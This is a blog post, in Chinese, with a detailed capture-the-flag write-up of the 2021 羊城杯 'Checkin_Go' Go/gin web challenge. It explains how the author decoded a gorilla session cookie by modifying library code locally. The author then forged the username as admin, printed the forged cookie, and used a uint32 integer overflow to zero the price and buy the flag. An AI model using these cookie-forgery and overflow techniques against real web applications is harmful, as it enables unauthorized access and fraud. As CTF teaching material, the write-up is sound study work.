[羊城杯2021] Checkin_Go详细题解

羊城杯 Checkin_Go

拿到源码是一个用golang写的gin应用,gin是一个在golang中常用的web框架。

只能在本地搭建好环境才能解出来,最开始搭建golang的环境其实是比较烦的,因为一直在写golang,所以我的环境是在很久之前就已经搭建好了的。配置好go mod后直接在web目录下go run .即可运行。

golang

直接看一下源码吧,在登陆的地方:

注意可以在本地吧hashProofRequired()里面爆破md5的代码删掉,就不用每次填hashcode了

func hashProofRequired() gin.HandlerFunc {
return func(c *gin.Context) {
c.Next()
}
}
func loginPostHandler(c *gin.Context) {
uname := c.PostForm("uname")
pwd := c.PostForm("pwd")
if uname == "admin"{
c.String(200,"noon,you cant be admin")
return
}
if uname == "" || pwd == "" {
c.String(200, "empty parameter")
return
}

s := sessions.Default(c)
s.Set("uname", uname)
s.Save()
c.Redirect(302, "/game")
}

可以看到通过登陆的过程是不可能成为admin的。

再看看/game路由的逻辑:

直接购买flag的逻辑如下

if u1 >= u2 && checkPlayerMoney == playerMoney && checkNowMoney == nowMoney {
newMoney = uint32(u1) - uint32(u2)
f, err := ioutil.ReadFile("flag")
if err == nil {
s.Set("playerMoney", newMoney)
s.Set("checkPlayerMoney", AesEncrypt(fmt.Sprintf("%v", s.Get("playerMoney")), string(secret)))
s.Save()
c.String(200, string(f))
c.Abort()
return
} else {
c.String(200, "SomethingWrong")
}

}

要满足以下条件:

  • 余额大于等于flag的金额
  • 余额的AES值等于check你的余额的值
  • flag金额的AES值等于checkflag金额的值

并且add flag的时候,会首先验证你是否为admin。

多抓一下包,发现我们不管是登陆还是购买还是add操作,基本上没有可控的地方。

那么我们很容易想到也是比较关键的一个点就是控制cookie。

Cookie: o=MTYzMTQzNDc5MXxEdi1CQkFFQ180SUFBUkFCRUFBQV85Yl9nZ0FGQm5OMGNtbHVad3dOQUF0d2JHRjVaWEpOYjI1bGVRTnBiblFFQkFELUp4QUdjM1J5YVc1bkRCSUFFR05vWldOclVHeGhlV1Z5VFc5dVpYa0djM1J5YVc1bkRCZ0FGazl0U0ZFNGNFSXlaR2wzV0V0NE0xSk5hRXBLVlhjR2MzUnlhVzVuREFVQUEyaHphQVp6ZEhKcGJtY01DQUFHTkRnMVkyRTJCbk4wY21sdVp3d0tBQWh1YjNkTmIyNWxlUU5wYm5RRUJRRDlCaHFBQm5OMGNtbHVad3dQQUExamFHVmphMDV2ZDAxdmJtVjVCbk4wY21sdVp3d1lBQlpLYTJWTVRuTXdkRUZ1WnpkeVJHUm5kSEl4YmtSUnxVeH6dJkg3e_CXF5CCPlhl58UcwV9bkj9RumM1WNrCMw==

对应cookie生成的代码:

gin.SetMode(gin.ReleaseMode)
r := gin.Default()

storage := cookie.NewStore(randomChar(16))
r.Use(sessions.Sessions("o", storage))

这里看到是使用了sessions.Sessions来生成cookie,那么我们得找到源码里面是怎么解密cookie的

从代码的位置一直跟进一下代码,自己眼睛放尖一些,以及在Goland里面全局(scoup)里搜索一下decode/encode等关键字

找到~\go\pkg\mod\github.com\gorilla\securecookie@v1.1.1\securecookie.go里面

// DecodeMulti decodes a cookie value using a group of codecs.
//
// The codecs are tried in order. Multiple codecs are accepted to allow
// key rotation.
//
// On error, may return a MultiError.
func DecodeMulti(name string, value string, dst interface{}, codecs ...Codec) error {
if len(codecs) == 0 {
return errNoCodecs
}
var errors MultiError
for _, codec := range codecs {
err := codec.Decode(name, value, dst)
if err == nil {
return nil
}
errors = append(errors, err)
}
return errors
}

可以在中间插入一句fmt.Println("Decoded cookie is : " + value)试试看我们的猜想以及找的位置对不对。

golang

cookie位置找对了,发现没有被解密开,那我们回到上层调用的地方试试,找到:~\go\pkg\mod\github.com\gorilla\sessions@v1.1.3\store.go

// New returns a session for the given name without adding it to the registry.
//
// The difference between New() and Get() is that calling New() twice will
// decode the session data twice, while Get() registers and reuses the same
// decoded session after the first call.
func (s *CookieStore) New(r *http.Request, name string) (*Session, error) {
session := NewSession(s, name)
opts := *s.Options
session.Options = &opts
session.IsNew = true
var err error
if c, errCookie := r.Cookie(name); errCookie == nil {
err = securecookie.DecodeMulti(name, c.Value, &session.Values,
s.Codecs...)
fmt.Println(session.Values)
if err == nil {
session.IsNew = false
}
}
return session, err
}
golang

接下来cookie的内容也看到了,类型是field Values map[interface{}]interface{} of Session type

仔细看一下解出来的Cookie

map[checkNowMoney:JkeLNs0tAng7rDdgtr1nDQ checkPlayerMoney:OmHQ8pB2diwXKx3RMhJJUw hsh:0397ba nowMoney:200000 playerMoney:5000 uname:a]

可以看到储存了我们需要的checkMoney和对应的Money,然后还有uname的值,再回到我们的逻辑,

if u1 >= u2 && checkPlayerMoney == playerMoney && checkNowMoney == nowMoney {
   //"cat /flag"

再注意一下我们的Money:

newMoney = uint32(u1) - uint32(u2)

uint32,很明显的整数溢出了。

这样来看,只要我们能把用户名伪造成admin,然后利用整数溢出把flag越加越小,然后买flag就行了!

先题目服务器上随便登陆一个用户,拿到cookie:

o = MTYzMTQ1Mjc0N3xEdi1CQkFFQ180SUFBUkFCRUFBQV9fZl9nZ0FHQm5OMGNtbHVad3dQQUExamFHVmphMDV2ZDAxdmJtVjVCbk4wY21sdVp3d1lBQlpLYTJWTVRuTXdkRUZ1WnpkeVJHUm5kSEl4YmtSUkJuTjBjbWx1Wnd3TkFBdHdiR0Y1WlhKTmIyNWxlUU5wYm5RRUJBRC1KeEFHYzNSeWFXNW5EQklBRUdOb1pXTnJVR3hoZVdWeVRXOXVaWGtHYzNSeWFXNW5EQmdBRms5dFNGRTRjRUl5WkdsM1dFdDRNMUpOYUVwS1ZYY0djM1J5YVc1bkRBY0FCWFZ1WVcxbEJuTjBjbWx1Wnd3SUFBWmhZV0ppWTJNR2MzUnlhVzVuREFVQUEyaHphQVp6ZEhKcGJtY01DQUFHTXpaalkySTJCbk4wY21sdVp3d0tBQWh1YjNkTmIyNWxlUU5wYm5RRUJRRDlCaHFBfCXjrBCgFu_2DL6yKfRrRK-ptVS1OFMDp7jOCZbqRrGB
golang

放到源码里面解密一下:

map[checkNowMoney:JkeLNs0tAng7rDdgtr1nDQ checkPlayerMoney:OmHQ8pB2diwXKx3RMhJJUw hsh:36ccb
6 nowMoney:200000 playerMoney:5000 uname:aabbcc]

然后尝试修改一下uname的值,保持其他字段与服务器上的一致,并且打印新的cookie:

golang

得到新的cookie:

MTYzMTQ1MzUyOHxEdi1CQkFFQ180SUFBUkFCRUFBQV9fYl9nZ0FHQm5OMGNtbHVad3dQQUExamFHVmphMDV2ZDAxdmJtVjVCbk4wY21sdVp3d1lBQlpLYTJWTVRuTXdkRUZ1WnpkeVJHUm5kSEl4YmtSUkJuTjBjbWx1Wnd3TkFBdHdiR0Y1WlhKTmIyNWxlUU5wYm5RRUJBRC1KeEFHYzNSeWFXNW5EQklBRUdOb1pXTnJVR3hoZVdWeVRXOXVaWGtHYzNSeWFXNW5EQmdBRms5dFNGRTRjRUl5WkdsM1dFdDRNMUpOYUVwS1ZYY0djM1J5YVc1bkRBY0FCWFZ1WVcxbEJuTjBjbWx1Wnd3SEFBVmhaRzFwYmdaemRISnBibWNNQlFBRGFITm9Cbk4wY21sdVp3d0lBQVkyTmpjME5qUUdjM1J5YVc1bkRBb0FDRzV2ZDAxdmJtVjVBMmx1ZEFRRkFQMEdHb0E9fKSjL3VXDEsKcInYkSbhU2oyJvjDK_hn85iR_KfCjMTE

然后在服务器上替换一下,我们就可以正常的add flag的金额了。

golang

接下来整数溢出就比较简单了

Uint32的范围是:[0 : 4294967295]

然后你需要加的钱就是:4294967295 – 你当前的钱 + 1

就可以清0然后买flag了:

golang

总结

  • golang框架源码
  • cookie伪造
  • 整数溢出

记得把源码改回来,不然后面写的项目可能会崩掉哈哈哈哈

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇